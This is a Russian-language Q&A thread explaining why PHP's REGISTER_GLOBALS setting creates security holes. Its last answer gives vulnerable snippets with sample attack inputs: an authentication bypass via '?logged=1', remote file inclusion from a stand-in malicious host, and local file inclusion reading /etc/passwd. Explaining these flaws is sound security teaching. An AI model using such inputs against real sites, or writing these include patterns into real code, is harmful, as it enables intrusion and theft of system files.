Я не разработчик PHP, но я видел в нескольких местах, что люди, похоже, воспринимают это как чуму или что-то в этом роде. Зачем?
 REGISTER_GLOBALS означает, что все переменные, прошедшие через GET или POST, являются avilable глобальными переменными в вашем скрипте.  Поскольку доступ к необъявленным переменным не является ошибкой в PHP (это предупреждение), это может привести к очень неприятным ситуациям.  Рассмотрим это, например: 
 <?php // $debug = true; if ($debug) { echo "query: $query\n"; } 
  Это не плохая вещь сама по себе (хорошо спроектированный код не должен генерировать предупреждения, поэтому не должен иметь доступ к каким-либо переменным, которые могут быть необъявленными (и по этой же причине не должны быть REGISTER_GLOBALS )), но PHP-код обычно [очень] низкого качества , что ведет к таким дырам в безопасности. 
Включение REGISTER_GLOBALS предоставляет веб-страницы, обслуживаемые PHP, для уязвимостей, которые некоторые плохие парни будут стремиться использовать.
С его помощью любая строка запроса в конце URL-адреса:
 http://yourdomain/something.php?valid=true 
будет влиять на значение переменной $ valid (например) в something.php, если оно существует .
Если вы используете общедоступный PHP-код (например, в библиотеке), имена переменных хорошо известны, и хакеры смогут контролировать свои значения, назначая значения в строке запроса. Они могут обходить аутентификацию.
Даже если вы не используете общедоступный код, возможно угадать имена важных переменных и контролировать их значения.
Раньше по умолчанию было установлено REGISTER_GLOBALS в PHP.INI
Недавняя практика заключалась в том, чтобы отключить его по умолчанию. Включите его на свой страх и риск!
  Просто добавьте, вот некоторые ситуации, когда включение REGISTER_GLOBALS может испортить ваш день: 
Использование строки запроса для обхода контроля доступа (взломать с помощью http://example.com/?logged=1 ):
 <?php $logged = User::getLogged(); if ($logged) { include '/important/secret.php'; } ?> 
Включение удаленного файла (RFI):
 <?php //http://example.com/?path=http://evilbadthings.example.com/ include "$path"; ?> 
Включение локального файла (LFI):
 <?php //http://example.com/?path=../../../../etc/passwd include "$path"; ?> 
Поскольку он позволяет пользователю вводить любую глобальную переменную в ваш код без какого-либо контроля.
Основываясь на качестве кода, он может содержать основные ошибки безопасности.